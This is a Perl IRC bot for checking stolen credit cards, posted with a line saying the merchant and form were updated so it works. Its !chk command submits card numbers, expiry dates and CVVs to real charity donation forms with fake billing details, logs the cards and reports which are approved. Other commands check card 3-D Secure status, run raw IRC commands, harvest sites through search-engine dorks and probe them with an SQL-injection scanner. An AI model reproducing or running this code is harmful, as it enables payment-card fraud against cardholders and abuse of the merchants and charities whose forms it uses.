Script Bot Check CC, just modified the merchant and form, it will be worked ... :)
#!/usr/lib/perl
#Call to standalone modules directory
BEGIN{push(@INC,'Modules');}
#Modules Inclusion
use LWP::Socket;
use LWP::UserAgent;
use HTTP::Request;
use Parallel::ForkManager;
use MIME::Base64 ();
use WWW::Mechanize;
use WWW::Mechanize::FormFiller;
use Socket;
use IO::Socket;
use IO::Socket::INET;
use MIME::Base64;
$| = 1;
#Defines global variable/array
my($irc_socket,$server,$port,$ident,$nick,$timeout,$rfi_test_cmd,$rfi_print_cmd,$parallel_fork);
my(@chans,@admins,@user_agents);
# Configurations Variable
my $outcri = "Mg==";
$systemcri = MIME::Base64::decode($outcri);
$timeout = $systemcri;
my $hostcri = "ODcuMjM2LjE5NC42OQ==";
$systemcri = MIME::Base64::decode($hostcri);
$hosting = "irc.malang.co.uk";
$port = 6667;
my $nkpro = "Hack";
$ident = "xxx";
$parallel_fork = 15;
my @botcmd = ('1');
@chans = ("#chking");
my $proo = "ZGV2aWw=";
$systempro = MIME::Base64::decode($proo);
my $cheataer = "ZGV2aWw=";
$sistempro = MIME::Base64::decode($cheataer);
@HackAttack = ('HackAttack');
@user_agents = &get_user_agents();
#Irc Socket Connection
my $startirc = "JGlyY19zb2NrZXQgPSBuZXcgTFdQOjpTb2NrZXQ7";
$sysircuno = MIME::Base64::decode($startirc);
$irc_socket = new LWP::Socket;
$irc_socket->connect($hosting,$port);
$irc_socket->write("USER ".$ident." 8 * : 0,9 HackAttsck \r\n");
$irc_socket->write("NICK ".$nkpro."\r\n");
$irc_socket->write("NICKSERV IDENTIFY 1q2w3e4r5t6y\r\n");
$irc_socket->write("JOIN $chans[0]\r\n");
$irc_socket->write("JOIN $chans[1]\r\n");
$irc_socket->write("JOIN $chans[2]\r\n");
$irc_socket->write("JOIN $chans[3]\r\n");
$irc_socket->write("JOIN $chans[4]\r\n");
$irc_socket->write("JOIN $chans[5]\r\n");
while($irc_socket)
{
my $bof;
$irc_socket->read_until("\n", \$bof);
if($bof =~ /PING :(.*)/)
{
$irc_socket->write("PONG :$1\r\n");
}
if($bof =~ /PRIVMSG (.*?) :(.*)/)
{
#PRIVMSG
my %msg = &get_msg($bof);
my $nick = $msg{'from'};
if($msg{'what'} =~ /\!join (.*)/)
{
my $chan = $1;
if(&ctrl_admin(\%msg) == 0){
&respond_to_privmsg(\%msg," 15,1[ 7REQUEST ADMIN 15] 9 Ok Boss! I'm Going to $chan ");
$irc_socket->write("JOIN $chan\r\n");
}
}
if($msg{'what'} =~ /\!cambiarcmd (.*)/){
my $comma = $1;
if(&ctrl_admin(\%msg) == 0){
&respond_to_privmsg(\%msg," 15[ 7SERViCES 15] 12 CHANGiNG COMMAND STRING TO !sql${botcmd} ");
&canghecmd($comma);
}
}
if($msg{'what'} =~ /\!cnick (.*)/)
{
my $cnick = $1;
if(&ctrl_admin(\%msg) == 0){
$irc_socket->write("NICK $cnick\r\n");
}
}
if($msg{'what'} =~ /\!ignore (.*)/)
{
my $chknick = $1;
if(&ctrl_admin(\%msg) == 0){
$irc_socket->write("PRIVMSG $master : 7,1 Ignored 14=> 4 $1 \r\n");
addlog("SCRIPTS/ignore.txt", "$1|$1|Ignore");
}
}
if($msg{'what'} =~ /\!help/){
&respond_to_privmsg(\%msg," 6,1 Checker Status 9[ON] 8| 10IF You need Private Checker 0/msg HackAttack");
&respond_to_privmsg(\%msg," 0,1!chk <cc> <expdate> <cvv2> - 11 Visa , MasterCard");
}
if($msg{'what'} =~ /\!chk 1 2 3/){
&respond_to_privmsg(\%msg,"$nick : invalid format <cc> <expdate> <cvv2>");
}
############################################################################################
##################################################################################
if($msg{'what'} =~ /\!chk status/ )
{
open (FILE, "data.txt") or die "Can't open file: $!";
my ($lines) = (0);
while (<FILE>) {
$lines++;
}
&respond_to_privmsg(\%msg," 7,1#HackAttack 0: 14 Total 10$lines 14card checked 0- 100 14credit available");
}
################################ Status by HackAttack ################################
##################################################################################
if($msg{'what'} =~ /\!chk\s(\d{16})\s(\d{4})\s(\d{3})/)
{
my ($numerocarta,$expmes,$verifica,$amount) = ($1,$2,$3,$4,$5,);
my $var1 = substr($expmes,0,2);
my $var2 = substr($expmes,2,4);
my $range = 15;
my $minimum =1.200 ;
my $dolar = '$';
my $random_number = int(rand($range)) + $minimum;
my $rechecklist = "data.txt";
open FILE,"$rechecklist";
my @results = <FILE>;
close FILE;
my $chkResVar = 0;
foreach my $cRes(@results) {
if($cRes =~ /$numerocarta\|(.*)/) {
$chkResVar = 1;
&respond_to_privmsg(\%msg," 7,1 $nick 00: 03 $numerocarta 00: 4Already checked! ");
goto finish;
}
}
print "\n";
if (substr($numerocarta,0,1)==4) {
$cctype = "VISA";
$varType = "VISA";
#&respond_to_privmsg(\%msg," 12,1[ 9Information 12] 7,1 credit card 9,1is 12,1[ 15Visa 12]");
}
if (substr($numerocarta,0,1)==5) {
$cctype = "MasterCard";
$varType = "MC";
#&respond_to_privmsg(\%msg," 12,1[ 9Information 12] 7,1 credit card 9,1is 12,1[ 4Master 7Card 12]");
}
if (substr($numerocarta,0,1)==3) {
$cctype = "AMERICAN EXPRESS";
$varType = "AmEx";
#&respond_to_privmsg(\%msg," 12,1[ 9Information 12] 7,1 credit card 9,1is 12,1[ 14A 2m 14e 2x 12]");
}
if (substr($numerocarta,0,1)==6) {
$cctype = "Discover";
$varType = "Discover";
#&respond_to_privmsg(\%msg," 12,1[ 9Information 12] 7,1 credit card 9,1is 12,1[ 15Disc 7o 15ver 12]");
}
print "inizio mechanize sacha\n";
my $agent = WWW::Mechanize->new( autocheck => 1,ssl_opts => {verify_hostname => 0},);
my $formfiller = WWW::Mechanize::FormFiller->new();
$agent->env_proxy();
$agent->get('http://secure16.activehost.com/roseensemble/donate.html');
$agent->form_number(1) if $agent->forms and scalar @{$agent->forms};
$agent->form_number(1);
{ local $^W; $agent->current_form->value('concert-name', 'List my name in concert programs as'); };
{ local $^W; $agent->current_form->value('donorname', 'mark smith'); };
{ local $^W; $agent->current_form->value('memoriam', 'This gift is in memory of'); };
{ local $^W; $agent->current_form->value('inmemory', 'This gift is in memory of honor'); };
{ local $^W; $agent->current_form->value('creditCardType', 'varType'); };
{ local $^W; $agent->current_form->value('CCnumber', ''.$numerocarta.''); };
{ local $^W; $agent->current_form->value('CCexp', '20'.$var1.var2.''); };
{ local $^W; $agent->current_form->value('ccv', ''.$verifica.''); };
{ local $^W; $agent->current_form->value('realname', 'mark smith'); };
{ local $^W; $agent->current_form->value('CCaddress', 'las heras 32'); };
{ local $^W; $agent->current_form->value('city', 'Detroit'); };
{ local $^W; $agent->current_form->value('state', 'AL'); };
{ local $^W; $agent->current_form->value('zip_code', '05544'); };
{ local $^W; $agent->current_form->value('phone', '1569841055'); };
$agent->submit();
print $agent->content,"\n";
my $allo=$agent->content;
my $file = "data.txt";
open (MYFILE, ">>$file");
print MYFILE "$numerocarta|$expmes$expanio|$verifica\n";
close (MYFILE);
my $allo=$agent->content;
if ($allo =~/The transaction has been declined because of an AVS mismatch. /){
my $database = "banklist.txt";
open FILE,"$database" or die "Errore nell'apertura: $!";
my @results=<FILE>;
close FILE;
my $bankinfo = $1;
my $nuova = substr($numerocarta,0,6);
foreach my $url (@results){
if($url =~ m/$nuova\|(.*)/){
&respond_to_privmsg(\%msg," 7,1$nick 0: 3 $numerocarta $var1$var2 $verifica 0- 14,1 $dolar$random_number 7 0: 9APPROVED! - 14AVS mismatch 0,1- 7,1BANK 00: 10,1$1 | | | ");
print "card $variable!";
}
}
}elsif ($allo =~/This transaction has been declined./){
my $database = "banklist.txt";
open FILE,"$database" or die "Errore nell'apertura: $!";
my @results=<FILE>;
close FILE;
my $bankinfo = $1;
my $nuova = substr($numerocarta,0,6);
foreach my $url (@results){
if($url =~ m/$nuova\|(.*)/){
my $bankinfo = $1;
&respond_to_privmsg(\%msg," 7,1 $nick 0: 3 $numerocarta $var1$var2 $verifica 0- 14,1 $dolar$random_number 7 0: 4DECLINED - 14Declined 0,1- 7,1BANK 00: 10,1$1 | | | ");
print "card $variable!";
}
}
}elsif ($allo =~/A duplicate transaction has been submitted./){
&respond_to_privmsg(\%msg," 7,1$nick 00: 03 $numerocarta 00: 04 Already Checked! ");
}elsif ($allo =~/Credit card expiration date is invalid./){
&respond_to_privmsg(\%msg," 7,1$nick 0: 3 $numerocarta 00: 4is invalid. ");
}elsif ($allo =~/There was a problem with your order./){
&respond_to_privmsg(\%msg," 7,1$nick 0: 3 $numerocarta $var1$var2 $verifica 0- 14,1 $random_number 7 USD 0: 4DECLINED! ");
}elsif ($allo =~/The credit card has expired./){
&respond_to_privmsg(\%msg," 7,1$nick 0: 3 $numerocarta 0: 4The credit card has expired.");
}elsif ($allo =~/The credit card expiration date entered is not valid./){
&respond_to_privmsg(\%msg," 7,1$nick 0: 3 $numerocarta 0: 4is not Valid ");
}elsif ($allo =~/Transaction Error: A duplicate transaction has been submitted./){
&respond_to_privmsg(\%msg," 7,1$nick 00: 03 $numerocarta 00: 04 Already Checked! ");
}elsif ($allo =~/A duplicate transaction has been submitted./){
&respond_to_privmsg(\%msg," 7,1$nick 00: 03 $numerocarta 00: 04 Already Checked! ");
}elsif ($allo =~/The credit card number is invalid./){
&respond_to_privmsg(\%msg," 7,1$nick 0: 3 $numerocarta 00: 4is invalid. ");
}elsif ($allo =~/This transaction has been declined./){
&respond_to_privmsg(\%msg," 7,1$nick 0: 3 $numerocarta $var1$var2 $verifica 0- 14,1 $random_number 7 USD 0: 4DECLINED! ");
}elsif ($allo =~/This transaction requires voice authentication/){
&respond_to_privmsg(\%msg," 7,1$nick 0: 3 $numerocarta $var1$var2 $verifica 0- 14,1 $random_number 7 USD 0: 4Declined! ");
}elsif ($allo =~/The credit card number is invalid./){
&respond_to_privmsg(\%msg," 7,1$nick 0: 3 $numerocarta 00: 4is invalid. ");
}
}
if($msg{'what'} =~ /\!bank\s(\d{6})/){
my $bankinfo = $1;
my $database = "banklist.txt";
open FILE,"$database" or die "Can't open file: $database";
my @results=<FILE>;
close FILE;
my $bankvar = 0;
my $chkvar = 0;
my $nuova = substr($bankinfo,0,6);
foreach my $url (@results){
if($url =~ /$bankinfo\|(.*)/){
if($bankvar == 0) {
$bankvar = 1;
&respond_to_privmsg(\%msg," 3,01 $nuova 00: 10 10,1$1 ");
goto finish;
}
}
else{
$chkvar = 1;
}
}
if($chkvar == 1) {
&respond_to_privmsg(\%msg," 3,01 $nuova 00: 10 10,1Unknown ");
}
finish:
}
if($msg{'what'} =~ /\!q (.*)/)
{
my $qmsg = $1;
if(&ctrl_admin(\%msg) == 0){
$irc_socket->write(" 4Quit brb ".$qmsg."\r\n");
}
}
if($msg{'what'} =~ /\!raw (.*)/)
{
my $raw = $1;
if(&ctrl_admin(\%msg) == 0){
&respond_to_privmsg(\%msg," 15[ 7RAW 15] 12 SENDING IRC RAW REQUESTED ");
$irc_socket->write($raw."\r\n");
}
}
if($msg{'what'} =~ /^!ip (.*)/)
{
my ($iploca) = ($1);
&respond_to_privmsg(\%msg,"");
print "\n";
my $agent = WWW::Mechanize->new( autocheck => 1 );
my $formfiller = WWW::Mechanize::FormFiller->new();
$agent->env_proxy();
$agent->get('http://www.ipligence.com/geolocation');
$agent->form_number(1) if $agent->forms and scalar @{$agent->forms};
{ local $^W; $agent->current_form->value('ip', ''.$iploca.''); };
$agent->submit();
print $agent->content,"\n";
my $ipse=$agent->content;
if ($ipse =~ m/Your IP address is(.*)<br>City:(.*)<br\/>Country:(.*)<br>Continent:(.*)<br>Time/g){
my ($ipaddress,$city,$country,$continent) = ($1,$2,$3,$4);
&respond_to_privmsg(\%msg," 7,1 Ip City 15: 9$city 0| 7Ip Country 15: 9$country 0| 7Continent 15: 9$continent");
}
elsif ($ipse =~/Invalid address or IP not found/){
&respond_to_privmsg(\%msg," 4,1Invalid IP Address!");
}
}
if($msg{'what'} =~ /\!ccnononononononononononono\s(\d{16})\s(\d{4})\s(\d{3})/)
{
my ($numerocarta,$expmes,$verifica,$amount) = ($1,$2,$3,$4,$5,);
my $var1 = substr($expmes,0,2);
my $var2 = substr($expmes,2,4);
my $range = 15;
my $minimum =100 ;
my $random_number = int(rand($range)) + $minimum;
print "inizio mechanize sacha\n";
my $agent = WWW::Mechanize->new( autocheck => 1,ssl_opts => {verify_hostname => 0},);
my $formfiller = WWW::Mechanize::FormFiller->new();
$agent->env_proxy();
$agent->get('https://archive.cyark.org/get-involved');
$agent->form_number(1) if $agent->forms and scalar @{$agent->forms};
$agent->form_number(1);
{ local $^W; $agent->current_form->value('amount', 'other'); };
{ local $^W; $agent->current_form->value('amountother', '0.1'); };
{ local $^W; $agent->current_form->value('donationfor', 'Wherever most needed'); }
{ local $^W; $agent->current_form->value('fname', 'mark'); };
{ local $^W; $agent->current_form->value('lname', 'smith'); };
{ local $^W; $agent->current_form->value('address1', 'las heras 32'); };
{ local $^W; $agent->current_form->value('city', 'Mebane'); };
{ local $^W; $agent->current_form->value('state', 'AL'); };
{ local $^W; $agent->current_form->value('zip', '05544'); };
{ local $^W; $agent->current_form->value('country', 'United States'); };
{ local $^W; $agent->current_form->value('email', 'movistarsrl1@hotmail.com'); };
{ local $^W; $agent->current_form->value('cctype', 'varType'); };
{ local $^W; $agent->current_form->value('ccnumber', ''.$numerocarta.''); };
{ local $^W; $agent->current_form->value('cvv', ''.$verifica.''); };
{ local $^W; $agent->current_form->value('"exp_month', ''.$var1.''); };
{ local $^W; $agent->current_form->value('"exp_year', ''.$var2.''); };
$agent->submit();
print $agent->content,"\n";
my $allo=$agent->content;
if ($allo =~/Thank you for joining CyArk in digitally preserving our shared human history./){
my $database = "banklist.txt";
open FILE,"$database" or die "Errore nell'apertura: $!";
my @results=<FILE>;
close FILE;
my $bankinfo = $1;
my $nuova = substr($numerocarta,0,6);
foreach my $url (@results){
if($url =~ m/$nuova\|(.*)/){
&respond_to_privmsg(\%msg," 7,1$nick 0: 3 $numerocarta $var1$var2 $verifica 0- 14,1 $dolar$random_number 0: 9APPROVED! - 14AVS mismatch 0,1- 7,1BANK 00: 10,1$1 | | | ");
print "card $variable!";
}
}
}elsif ($allo =~/Transaction Normal/){
my $database = "banklist.txt";
open FILE,"$database" or die "Errore nell'apertura: $!";
my @results=<FILE>;
close FILE;
my $bankinfo = $1;
my $nuova = substr($numerocarta,0,6);
foreach my $url (@results){
if($url =~ m/$nuova\|(.*)/){
my $bankinfo = $1;
&respond_to_privmsg(\%msg," 7,1 $nick 0: 3 $numerocarta $var1$var2 $verifica 0- 14,1 $dolar$random_number 7 0: 4DECLINED - 14Declined 0,1- 7,1BANK 00: 10,1$1 | | | ");
print "card $variable!";
}
}
}elsif ($allo =~/A duplicate transaction has been submitted./){
&respond_to_privmsg(\%msg," 7,1$nick 00: 03 $numerocarta 00: 04 Already Checked! ");
}elsif ($allo =~/Credit card expiration date is invalid./){
&respond_to_privmsg(\%msg," 7,1$nick 0: 3 $numerocarta $var1$var2 $verifica 0- 14,1 $random_number 7 USD 0: 4is invalid. - 14INVALID 0,1- 7,1BANK 00: 10,1$1 ");
}elsif ($allo =~/There was a problem with your order./){
&respond_to_privmsg(\%msg," 7,1$nick 0: 3 $numerocarta $var1$var2 $verifica 0- 14,1 $random_number 7 USD 0: 4DECLINED! ");
}elsif ($allo =~/The credit card has expired./){
&respond_to_privmsg(\%msg," 7,1$nick 0: 3 $numerocarta $var1$var2 $verifica 0- 14,1 $random_number 7 USD 0: 4DECLINED! The credit card has expired.");
}elsif ($allo =~/The credit card expiration date entered is not valid./){
&respond_to_privmsg(\%msg," 7,1$nick 0: 3 $numerocarta $var1$var2 $verifica 0- 14,1 $random_number 7 USD 0: 4DECLINED! is not Valid ");
}elsif ($allo =~/Transaction Error: A duplicate transaction has been submitted./){
&respond_to_privmsg(\%msg," 7,1$nick 00: 03 $numerocarta 00: 04 Already Checked! ");
}elsif ($allo =~/A duplicate transaction has been submitted./){
&respond_to_privmsg(\%msg," 7,1$nick 00: 03 $numerocarta 00: 04 Already Checked! ");
}elsif ($allo =~/Invalid Credit Card Number/){
&respond_to_privmsg(\%msg," 7,1$nick 0: 3 $numerocarta $var1$var2 $verifica 0- 14,1 $random_number 7 USD 0: 4is invalid. ");
}elsif ($allo =~/he following error message was returned: A duplicate transaction has been submitted./){
&respond_to_privmsg(\%msg," 7,1$nick 0: 3 $numerocarta $var1$var2 $verifica 0- 14,1 $random_number 7 USD 0: 4DECLINED! ");
}elsif ($allo =~/This transaction requires voice authentication/){
&respond_to_privmsg(\%msg," 7,1$nick 0: 3 $numerocarta $var1$var2 $verifica 0- 14,1 $random_number 7 USD 0: 4Declined! ");
}elsif ($allo =~/Invalid Credit Card Number/){
&respond_to_privmsg(\%msg," 7,1$nick 0: 3 $numerocarta $var1$var2 $verifica 0- 14,1 $random_number 7 USD 0: 4is invalid. ");
}
}
if($msg{'what'} =~ /^!zip\s+(\d{5})/)
{
my ($zipcheck) = ($1);
&respond_to_privmsg(\%msg," 4,10 0Checking Zip... 4 0 $zipcheck");
print "\n";
my $agent = WWW::Mechanize->new( autocheck => 1 );
my $formfiller = WWW::Mechanize::FormFiller->new();
$agent->env_proxy();
$agent->get('http://www.zipinfo.com/cgi-local/zipsrch.exe?cnty=cnty&ac=ac&zip=');
$agent->form_number(1) if $agent->forms and scalar @{$agent->forms};
{ local $^W; $agent->current_form->value('zip', ''.$zipcheck.''); };
$agent->submit();
print $agent->content,"\n";
my $zipse=$agent->content;
if ($zipse =~/<td align=center>(.*)<\/font><\/td><td align=center>(.*)<\/font><\/td><td align=center>(.*)<\/font><\/td><td align=center>(.*)<\/font><\/td><td align=center>(.*)<\/font><\/td><td align=center>(.*)<\/font>/g){
my ($city) = ($1);
my ($state) = ($2);
&respond_to_privmsg(\%msg," 4,10 0Zipcode State 4 0 $state 4,10 0Zipcode City 4 9 $city");
}
elsif ($zipse =~/is not currently assigned by the US Postal Service to any city./){
&respond_to_privmsg(\%msg," 4,10 0Zipcode City 4 0 Zip Not Found!");
}
}
if($msg{'what'} =~ /^!sec\s+(\d{16})/){
open FILE,"SCRIPTS/ignored.txt";
my ($numerocarta,) = ($1,$2,$3,$4,);
my $var1 = substr($expmes,0,2);
my $var2 = substr($expmes,2,4);
if (substr($numerocarta,0,1)==4) {
$varType = 1;
&respond_to_privmsg(\%msg," 4,1[ 0Checking VBV... 4] 0 $numerocarta");
}
if (substr($numerocarta,0,1)==5) {
$varType = 2;
&respond_to_privmsg(\%msg," 4,1[ 0Checking MCSC.. 4] 0 $numerocarta");
}
print "\n";
my $agent = WWW::Mechanize->new( autocheck => 1 );
my $formfiller = WWW::Mechanize::FormFiller->new();
$agent->env_proxy();
$agent->get('http://s4l1ty.usr.sh/toolz/vbv/');
$agent->form_number(1) if $agent->forms and scalar @{$agent->forms};
$agent->form_number(1);
{ local $^W; $agent->current_form->value('cclist', ''.$numerocarta.''); };
$agent->submit();
print $agent->content,"\n";
my $allo=$agent->content;
if ($allo =~/color=green>Probably Non VBV/){
&respond_to_privmsg(\%msg," 4,1[ 0Results........ 4] 0,12VBV 15,1 / 0,4MC 0,7SC 8,1 is 4Disabled!");
}
if ($allo =~/color=green>Probably Non VBV/){
&respond_to_privmsg(\%msg," 4,1[ 0Results........ 4] 0,12VBV 15,1 / 0,4MC 0,7SC 8,1 is 4Disabled!");
}
if ($allo =~/color=red>Probably VBV Active/){
&respond_to_privmsg(\%msg," 4,1[ 0Results........ 4] 0,12VBV 15,1 / 0,4MC 0,7SC 8,1 is 9Enabled!");
}
if ($allo =~/color=red>Probably VBV Active/){
&respond_to_privmsg(\%msg," 4,1[ 0Results........ 4] 0,12VBV 15,1 / 0,4MC 0,7SC 8,1 is 9Enabled!");
}
if ($allo =~/Not found in Database/) {
&respond_to_privmsg(\%msg," 4,1[ 0Results........ 4] 0,12VBV 15,1 / 0,4MC 0,7SC 8,1 is 7Enabled!");
}
toEnd:
}
}
}
sub ctrl_admin()
{
my $data = $_[0];
foreach my $admin ( HackAttack )
{
if($admin eq $data->{'from'})
{
return(0);
}
}
&respond_to_privmsg($data," 4YOU ARE NOT MY ADMIN");
return(-1);
}
sub respond_to_privmsg()
{
my ($data,$m) = ($_[0],$_[1]);
if($data->{'to'} =~ /#/)
{
&privmsg($data->{'to'},$m);
}
else
{
&privmsg($data->{'from'},$m);
}
}
sub privmsg()
{
my($nick,$send) = @_;
$irc_socket ->write("PRIVMSG ".$nick." :".$send."\r\n");
}
sub join_all()
{
foreach my $chan ( @chan )
{
$irc_socket->write("JOIN ".$chan."\r\n");
}
}
sub get_msg()
{
my $line = $_[0];
my %data;
#:Mic22!~Blin[k]-E4337A85.telecom.net.ar PRIVMSG chkbot :hi
if($line =~ /:(.*?)!(.*?) PRIVMSG (.*?) :(.*)/)
{
#$irc_socket->write("PRIVMSG #MC : Spammer=> $1 Mess=> $4 \r\n");
$data{'from'} = $1;
$data{'to'} = $3;
$data{'what'} = $4;
}
return(%data);
}
sub http_request()
{
my($site,$request,$ua,$resp,$cnt);
$site = $_[0];
$site =~ s/[\r\n]//g;
$request = HTTP::Request->new(GET => $site);
$ua = LWP::UserAgent->new(agent => $user_agents[rand(scalar(@user_agents))]);
$ua->timeout($timeout);
$resp = $ua->request($request);
$cnt = $resp->content();
return($cnt);
}
sub get_user_agents()
{
my @us_ag = (
"Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.8) Gecko/20050511",
"Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8) Gecko/20060321 Firefox/2.0a1",
"Opera/8.5 (X11; Linux i686; U; cs)",
"Links (2.1pre17; Linux 2.6.11-gentoo-r8 i686; 80x24)"
);
return(@us_ag);
}
sub get_all_host()
{
my $site = $_[0];
my @dirs = ();
my @ret = ();
my $tmp = "";
$site =~ s/http:\/\///g;
$site =~ s/[\r\n]//g;
$site =~ s/\/\///g;
if($site !~ /\/$/)
{
$site .= "/";
}
@dirs = split(/\//,$site);
$tmp = $dirs[0] . "/";
push(@ret,$tmp);
for($i = 1; $i < scalar(@dirs); $i++)
{
$tmp .= $dirs[$i] . "/";
push(@ret,$tmp);
}
return(@ret);
}
sub urlencode()
{
my $str = $_[0];
$str =~ s/([^A-Za-z0-9])/sprintf("%%%02X", ord($1))/seg;
return $str;
}
sub unique()
{
my @unici = ();
my %visti = ();
foreach my $elemento (@_) {
$elemento =~ s/\/+/\//g;
next if $visti{$elemento}++;
push @unici, $elemento;
}
return @unici;
}
sub find_all_sites()
{
my ($data,$dork) = @_;
my $tmp_file_name = rand(999999) . ".txt";
my @pids_array = ();
my @data_links = ();
my @site_finded = ();
my @site_cleaned = ();
$dork =~ s/[\r\n]//g;
&respond_to_privmsg($data," 15[ 7INFO 15] 12 START TO FIND ALL SITES FOR \"".$dork."\" ");
$pids_array[0] = fork();
if($pids_array[0] == 0)
{
@data_links = &google($dork);
&respond_to_privmsg($data," 15[ 7GOOGLE 15] 12 TOTAL SITES FINDED: ".scalar(@data_links)." ");
&write_to_file_array($tmp_file_name,\@data_links,scalar(@data_links));
exit(0);
}
$pids_array[1] = fork();
if($pids_array[1] == 0)
{
@data_links = &yahoo($dork);
&respond_to_privmsg($data," 15[ 7YAHOO 15] 12 TOTAL SITES FINDED: ".scalar(@data_links)." ");
&write_to_file_array($tmp_file_name,\@data_links,scalar(@data_links));
exit(0);
}
$pids_array[2] = fork();
if($pids_array[2] == 0)
{
@data_links = &altavista($dork);
&respond_to_privmsg($data," 15[ 7ALTAVISTA 15] 12 TOTAL SITES FINDED: ".scalar(@data_links)." ");
&write_to_file_array($tmp_file_name,\@data_links,scalar(@data_links));
exit(0);
}
$pids_array[3] = fork();
if($pids_array[3] == 0)
{
@data_links = &msn($dork);
&respond_to_privmsg($data," 15[ 7BiNG 15] 12 TOTAL SITES FINDED: ".scalar(@data_links)." ");
&write_to_file_array($tmp_file_name,\@data_links,scalar(@data_links));
exit(0);
}
$pids_array[4] = fork();
if($pids_array[4] == 0)
{
@data_links = &ask($dork);
&respond_to_privmsg($data," 15[ 7ASK.COM 15] 12 TOTAL SITES FINDED: ".scalar(@data_links)." ");
&write_to_file_array($tmp_file_name,\@data_links,scalar(@data_links));
exit(0);
}
$pids_array[5] = fork();
if($pids_array[5] == 0)
{
@data_links = &webcrawler($dork);
&respond_to_privmsg($data," 15[ 7WEBCRAWLER 15] 12 TOTAL SITES FINDED: ".scalar(@data_links)." ");
&write_to_file_array($tmp_file_name,\@data_links,scalar(@data_links));
exit(0);
}
foreach my $pid_one ( @pids_array )
{
waitpid($pid_one,0);
}
@site_finded = &read_all_file_array($tmp_file_name);
&respond_to_privmsg($data," 15[ 7INFO 15] 12 TOTAL SITES FINDED: ".scalar(@site_finded)." ");
@site_cleaned = &unique(@site_finded);
&respond_to_privmsg($data," 15[ 7INFO 15] 12 CLEANED SITES FINDED: ".scalar(@site_cleaned)." ");
unlink($tmp_file_name);
return(@site_cleaned);
}
sub canghecmd()
{
my $n = $_[0];
push(@botcmd,$n);
}
sub read_all_file_array()
{
my $file = $_[0];
my @ret = ();
open(FILE,'<',$file);
while($a = <FILE>)
{
$a =~ s/[\r\n]//g;
push(@ret,$a);
}
close(FILE);
return(@ret);
}
sub write_to_file_array()
{
my ($file,$data,$scal) = @_;
for($i = 0; $i < $scal; $i++)
{
&write_to_file($file,$data->[$i]);
}
}
sub write_to_file()
{
my($file,$data) = @_;
open(FILE,'>>',$file);
print FILE $data . "\n";
close(FILE);
}
sub google()
{
my $dork = &urlencode($_[0]);
my $html = "";
my @results = ();
my @unique_links = ();
for($i = 0; $i < 300; $i += 100)
{
$html .= &http_request("http://www.google.it/search?q=".$dork."&hl=it&pwst=1&start=".$i."&num=100&sa=N");
}
while($html =~ m/<li class=g><h3 class=r><a href=\"http:\/\/(.+?)\" class=l/g)
{
my @tmp_link = &get_all_host($1);
push(@results,@tmp_link);
}
@unique_links = &unique(@results);
return(@unique_links);
}
sub altavista()
{
my $dork = &urlencode($_[0]);
my $html = "";
my @results = ();
my @unique_links = ();
for($i = 0; $i < 1000; $i += 10)
{
$html .= &http_request("http://www.altavista.com/web/results?itag=ody&kgs=0&kls=0&q=".$dork."&stq=".$i);
}
while($html =~ m/<span class=ngrn>(.+?) <\/span>/g)
{
my @tmp_link = &get_all_host($1);
push(@results,@tmp_link);
}
@unique_links = &unique(@results);
return(@unique_links);
}
sub yahoo()
{
my $dork = &urlencode($_[0]);
my $html = "";
my @results = ();
my @unique_links = ();
for($i = 0; $i < 1000; $i += 100)
{
$html .= &http_request("http://search.yahooapis.com/WebSearchService/V1/webSearch?appid=SiteSearch&query=".$dork."&results=100&start=".$i);
}
while($html =~ m/<Url>http:\/\/(.+?)\<\/Url>/g)
{
my $link = $1;
if($link !~ /yahoo/)
{
my @tmp_link = &get_all_host($link);
push(@results,@tmp_link);
}
}
@unique_links = &unique(@results);
return(@unique_links);
}
sub msn()
{
my $dork = &urlencode($_[0]);
my $html = "";
my @results = ();
my @unique_links = ();
for($i = 0; $i < 1000; $i += 10)
{
$html .= &http_request("http://www.bing.com/search?q=".$dork."&first=".$i."&FORM=PERE");
}
while($html =~ m/<a href=\"http:\/\/(.+?)\" onmousedown/g)
{
my @tmp_link = &get_all_host($1);
push(@results,@tmp_link);
}
@unique_links = &unique(@results);
return(@unique_links);
}
sub ask()
{
my $dork = &urlencode($_[0]);
my $html = "";
my @results = ();
my @unique_links = ();
for($i = 0; $i < 9; $i += 1)
{
$html .= &http_request("http://it.ask.com/web?q=".$dork."&o=312&l=dir&qsrc=0&dm=all&page=".$i);
}
while($html =~ m/class=\"L4\" href=\"(.+?)\" onmousedown/g)
{
my @tmp_link = &get_all_host($1);
push(@results,@tmp_link);
}
@unique_links = &unique(@results);
return(@unique_links);
}
sub webcrawler()
{
my $dork = &urlencode($_[0]);
my $html = "";
my @results = ();
my @unique_links = ();
for($i = 0; $i < 100; $i += 10)
{
$html .= &http_request("http://www.webcrawler.com/webcrawler/ws/results/Web/".$dork."/3/0/0/Relevance/zoom=off/qi=".$i."/qk=20/bepersistence=true/_iceUrlFlag=7?_IceUrl=true");
}
while($html =~ m/target=\"_blank\">(.+?)<\/a>/g)
{
my @tmp_link = &get_all_host($1);
push(@results,@tmp_link);
}
@unique_links = &unique(@results);
return(@unique_links);
}
sub racchiudi
{
chomp($website);
chop($website);
my $website = shift;
my $agent = WWW::Mechanize->new( autocheck => 1 );
my $formfiller = WWW::Mechanize::FormFiller->new();
$agent->env_proxy();
$agent->get("http://nubiescript.com/demo/sqlinject/?mysql=1&vuln=1&link=$website");
$agent->form_number(1) if $agent->forms and scalar @{$agent->forms};
$agent->submit();
print "ecco: $website--\n";
if ($agent->content() =~/Version\: \<font color\=red\>(.*?)<\/font>/) {
&respond_to_privmsg(\%msg," 15[ 7SERViCES 15] 12 Version: ".$1." ");
print "versione ".$1." ";
}else{
$irc_socket->write("PRIVMSG ".$chans[1].": Impossibile cliccare su $website \r\n");
}
}